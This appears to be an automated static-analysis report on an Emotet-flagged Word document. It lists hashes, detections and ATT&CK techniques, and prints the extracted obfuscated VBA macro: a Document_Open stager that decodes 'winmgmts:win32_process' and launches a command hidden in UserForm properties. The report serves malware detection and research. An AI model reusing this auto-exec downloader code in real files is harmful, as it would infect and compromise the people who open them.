Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0031f41b3edde215…

MALICIOUS

Office (OLE)

266.8 KB Created: 2020-02-06 19:16:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: c9e372ba2d458c027ead3efa68115551 SHA-1: efbebc98f9af5c4b49b35281645d6b188449ea77 SHA-256: 0031f41b3edde21592bc42365e01689f23a73a634d7c8ffc0807e60e1a189a38
232 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to this technique. The VBA code likely attempts to download and execute a secondary payload, as suggested by the 'CreateObject' calls and the presence of the 'macros.bas' file.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7578627-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7578627-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Jrojalmzqqc = Split(Yoochmktgqgp, "}{")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Xazsylyxns = CreateObject(Cmnanblqixvp)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12940 bytes
SHA-256: ea621d5fd95ff7fb7405d0c27d69feed6ee451eeffcaeaf019860914fa43e8ae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
45 of 115 identifiers look randomly generated (e.g. 'Szrwluxrqlzsp'); 13 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bazoaquyjhej"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Ljifcxowlmedo.Nssjiqgwjk
End Sub

Attribute VB_Name = "Eswqjcozws"
Attribute VB_Base = "0{FF32DB7A-B8FF-449E-B590-80042D7DAB7F}{B81592F9-D1C8-4AAD-888D-39D844013703}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Mruuqmdyfzab"
Attribute VB_Base = "0{19FEA80F-9E46-483D-A91F-F7410BF59CFF}{5EBF3424-4BD6-4AD5-8D25-A446798592D3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Npejnokqtvb()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Lvblajehsx"
Attribute VB_Base = "0{83CBBA62-6997-4E6B-9889-14628AE6FA1C}{814F5644-9C25-4E26-BE5D-864269D32031}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Nrvspedfox()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Sbrivyzt"
Attribute VB_Base = "0{637A3AE5-E119-4FBB-BBB0-90F5C63DC71F}{8A2B084F-1B5D-476F-8190-4D5FB60C66B6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rcdnzrri()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Twzxpydqxpwo"
Attribute VB_Base = "0{984DEFA3-0BCA-40AB-9521-A04AF477FDEF}{A341C8F0-0177-47BB-A109-6FD891840705}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Szrwluxrqlzsp()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Lngcyjvbu"
Attribute VB_Base = "0{8244B244-6322-4007-A6C9-C187D7153944}{62773BA7-4E03-4163-B5C6-3CCD552B83DA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Uivgfdyeuazvw()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Bfoxwjcmmcql"
Attribute VB_Base = "0{2348C0FE-7855-4493-9327-DD3CAA14761F}{18CC2EB9-44E2-4436-B1F4-D61542359498}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xxwdozowkfw()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Gelrjcdipn"
Attribute VB_Base = "0{FE2ADE95-8D8C-45F1-A9BE-069523469694}{5A09E10D-A229-47E9-850E-484C23F97B9C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Oswjeprrpxdds()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Gfvibcyv"
Attribute VB_Base = "0{C0FF5482-175E-436B-A15A-79E6BDBA5619}{17A477B3-EDF7-4B9A-85EF-DA69B5C5FD4C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Khjdhhjz()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Grmgqecv"
Attribute VB_Base = "0{A5779D44-3D50-40D7-8DFE-C929C792D3D8}{163F3A66-C011-4FED-8EFB-FBE8E88A4032}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Iyabwcuf()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Pwpjthiohqtd"
Attribute VB_Base = "0{D5A78DEE-61D3-4552-9415-6968016F09BB}{F100AC4D-8C2E-4862-8DAA-528947DFC106}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Upsorwzdmf()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Gigenednkj"
Attribute VB_Base = "0{37C9A462-8458-43A1-B3A5-E80512E03312}{01C06BC1-CED1-4C05-A560-9D013C86914A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Niwonshe()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ljifcxowlmedo"
Function Nssjiqgwjk()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Pkmlcxmafd = "}{}{w}{i}{}{n}{m}{g}{}{mt}{}{" + ChrW(Eswqjcozws.Zoom + 9 + 6) + ":}{wi}{}{n3}{}{}{2}{}{_}{}{" + Eswqjcozws.Cmcixeukialz + "r}{}{o}{ce}{s}{}{s}{"
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Cmnanblqixvp = Ntkwdcvubyupb(Pkmlcxmafd)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Set Xazsylyxns = CreateObject(Cmnanblqixvp)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Nibggxtyea = Eswqjcozws.Qbcziipxtbns.Tag
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Veklqptpi = Cmnanblqixvp + ChrW(Eswqjcozws.Zoom + 9 + 6) + Eswqjcozws.Xvhkrrkbbiks.Tag + Nibggxtyea
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Fminnodspi = Veklqptpi + Eswqjcozws.Cmcixeukialz
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Set Npkjtvhkvr = Jpldmotep(Fminnodspi)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Call Xazsylyxns. _
Create(NoLineBreakAfter + Qanugbgmkcno + qw2, Hmarewgkrhpgr, Npkjtvhkvr)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

End Function
Function Jpldmotep(Gjmcyvzoaqa)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Set Jpldmotep = CreateObject(Gjmcyvzoaqa)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Jpldmotep. _
showwindow = Ybwozwfqk + Ypcwihdujv
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

End Function
Function Ntkwdcvubyupb(Wmceoafj)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Yoochmktgqgp = Wmceoafj
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Jrojalmzqqc = Split(Yoochmktgqgp, "}{")
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Pefuoojp = Join(Jrojalmzqqc, NoLineBreakAfter)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Ntkwdcvubyupb = Pefuoojp
End Function
Function Qanugbgmkcno()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

wq1 = Eswqjcozws.Xlzmqdliphbv.Pages(0).Caption
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

Qanugbgmkcno = Ntkwdcvubyupb(wq1)
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI

End Function